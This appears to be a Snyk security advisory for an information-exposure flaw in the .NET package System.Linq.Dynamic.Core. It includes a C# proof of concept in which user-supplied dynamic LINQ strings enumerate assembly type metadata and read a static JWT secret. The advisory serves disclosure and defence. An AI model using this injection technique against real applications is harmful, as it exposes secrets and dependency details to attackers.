Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for System.Linq.Dynamic.Core
.
Affected versions of this package are vulnerable to Information Exposure due to improper handling of property access on reflection types and static properties/fields. An attacker can list installed nuget packages' names and versions through attributes and base types they require by exploiting these properties or fields.
using System.Linq.Dynamic.Core;
var customers = new List<Customer>()
{
new Customer()
{
Id = 1,
Name = "Mariusz"
}
};
var userSuppliedColumns1 = new[]
{
"""
c => string.Join(
"\r\n",
c.GetType().Assembly.DefinedTypes.SelectMany(t => t.CustomAttributes).Select(a => a.AttributeType).Select(t => t.AssemblyQualifiedName))
""",
"""
c => string.Join(
"\r\n",
c.GetType().Assembly.DefinedTypes.Select(t => t.BaseType).Select(t => t.AssemblyQualifiedName))
"""
};
foreach (var userSuppliedColumn in userSuppliedColumns1)
{
foreach (var customer in customers.AsQueryable().Select(userSuppliedColumn))
{
Console.WriteLine(customer);
Console.WriteLine();
}
}
var userSuppliedColumns2 = new[]
{
"""
c => AppSettings.SettingsProp["jwt"]
""",
"""
c => AppSettings.SettingsField["jwt"]
"""
};
foreach (var userSuppliedColumn in userSuppliedColumns2)
{
foreach (var customer in customers.AsQueryable().Select(userSuppliedColumn))
{
Console.WriteLine(customer);
Console.WriteLine();
}
}
public class Customer
{
public int Id { get; set; }
public string Name { get; set; }
}
public static class AppSettings
{
public static Dictionary<string, string> SettingsProp { get; } = new()
{
{ "jwt", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" }
};
public static Dictionary<string, string> SettingsField = new()
{
{ "jwt", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" }
};
}